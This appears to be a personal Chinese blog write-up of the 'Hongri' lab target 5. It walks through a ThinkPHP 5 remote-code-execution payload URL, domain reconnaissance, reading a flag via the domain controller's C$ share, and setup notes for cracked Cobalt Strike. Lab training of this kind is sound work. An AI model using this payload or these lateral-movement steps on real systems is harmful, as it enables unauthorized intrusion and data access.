红日靶场五

红日靶场五 — 渗透实战总结

红日靶场系列是内网渗透的经典练手项目,本文记录 Target 5 的完整渗透过程。

环境概览

角色 IP 系统 备注
攻击机 192.168.111.25 Win7 个人攻击平台
靶标 192.168.111.150 Win7 ThinkPHP Web 服务器
域控 192.168.138.138 Win2008 sun.com 域控

已知凭证:

  • leo@sun.com / 123.com
  • sun\admin / 2024.com
  • sun\Administrator / dc123.com

Flag 位置:域控主机的 C:\Users\admin\Desktop\flag.txt

攻击链条总览

1
ThinkPHP RCE → Webshell → 内网信息收集 → SMB 横向到域控 → 读 Flag

看起来很短对不对?这个靶场有诸多”捷径”,但 WP 里通常走的流程是:

1
ThinkPHP RCE → CS 上线 → 提权 → Mimikatz 抓凭证 → Psexec 横向 → 域控

我实际走下来发现,某些步骤完全可以跳过。

Web 打点:ThinkPHP RCE

150 上跑的是 ThinkPHP V5,直接用已知漏洞打穿。经典 payload:

1
http://192.168.111.150/?s=0/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

通过 system() 函数直接执行系统命令,拿到 Webshell 级权限。这里有个小坑:system() 会把输出打印到 stdout,然后 ThinkPHP 的调用链又把返回值 echo 了一遍,所以你会看到命令输出重复了两次——刚开始以为是两个不同内容拼在一起,虚惊一场。

内网信息收集

拿到 Webshell 后第一件事就是定位域控:

1
ipconfig /all

从输出里找到 DNS 服务器,那就是域控的 IP。

1
nslookup sun.com

确认域名解析指向同一台机器,域控 IP 锁定:192.168.138.138

横向移动:SMB 读取 Flag

这里本来应该走”提权 → Mimikatz → Psexec”的标准流程。但实际上,你的 Webshell 进程如果权限足够(SYSTEM 或 NETWORK SERVICE),可以直接通过 SMB 访问域控的管理共享:

1
type \\192.168.138.138\c$\Users\admin\Desktop\flag.txt

能直接读到,说明你的进程凭据或机器账户在域内有足够的 SMB 访问权限。这种”意外之喜”在真实场景中并不少见——域控上 C$ 的 ACL 配置不当、机器账户加入了特权组、或者域管理员把权限放开过,都会造成这种情况。

Flag 内容:hr5flag2025test

Cobalt Strike 搭建经验

CS 在靶场里虽然没用来打目标(拿到 flag 了嘛),但搭建过程本身就是一个很好的学习机会。

CS 架构理解:

  • Teamserver:C2 控制中心,运行在 Linux(我的 WSL Kali)
  • Client:图形操作界面,运行在 Windows
  • Beacon:投到靶机上的 payload

搭建要点:

  1. WSL2 Mirrored 网络模式让 WSL 和 Windows 共享 IP,省去端口转发
  2. 大多数破解版都有 auth 授权文件验证,不同版本的 auth 不通用
  3. Client 连本机 Teamserver 用 127.0.0.1,用外网 IP 容易被防火墙拦
  4. 汉化版和原版的 Server/Client 可以用独立的 auth 文件独立启动

启动命令备忘:

1
2
3
4
5
# WSL 启动 Teamserver
cd ~/cs48 && ./teamserver <你的IP> <密码>

# Windows 启动客户端
# 双击 Cobalt_Strike_CN.bat,连 127.0.0.1:50050

反思

这个靶场对我来说有几个收获:

  1. 信息收集最重要ipconfig /all + nslookup 两行命令就锁定了域控,不需要花里胡哨的工具。

  2. WP 不是唯一解。Writup 只写了”最少的路径”,但如果有现成的域管理员密码,哪怕是低权限用户,SMB 管理共享也可能直接让你横过去。

  3. 不要过早复杂化。我拿到 webshell 之后就想折腾 CS 上线、提权、Mimikatz,结果发现 type \\域控\c$\flag.txt 就解决了。先试试最简单的路径,不行再上大家伙。

  4. 避开 20 分钟怪圈。打渗透时候容易在一个方向死磕,20 分钟没进展就换路,很实用。

  5. Webshell 是你最好的朋友。只要命令执行还在,你就有无限可能——别急着丢 payload,先用 webshell 把信息收集做完。

工具速查

阶段 命令
信息收集 ipconfig /all, nslookup <domain>, whoami, net user
定位域控 nslookup <domain> → DNS 服务器 = 域控
SMB 访问 type \\<DC_IP>\c$\path\to\file
CS 启动 cd ~/cs48 && ./teamserver <IP> <password>
CS 客户端 双击 Cobalt_Strike_CN.bat → 连 127.0.0.1:50050

这篇文章只是一个靶场学习笔记。渗透测试请确保在授权范围内进行。


红日靶场五
http://82.156.189.140:8085/2026/07/02/hr5/
作者
fortuneh2c
发布于
2026年7月2日
许可协议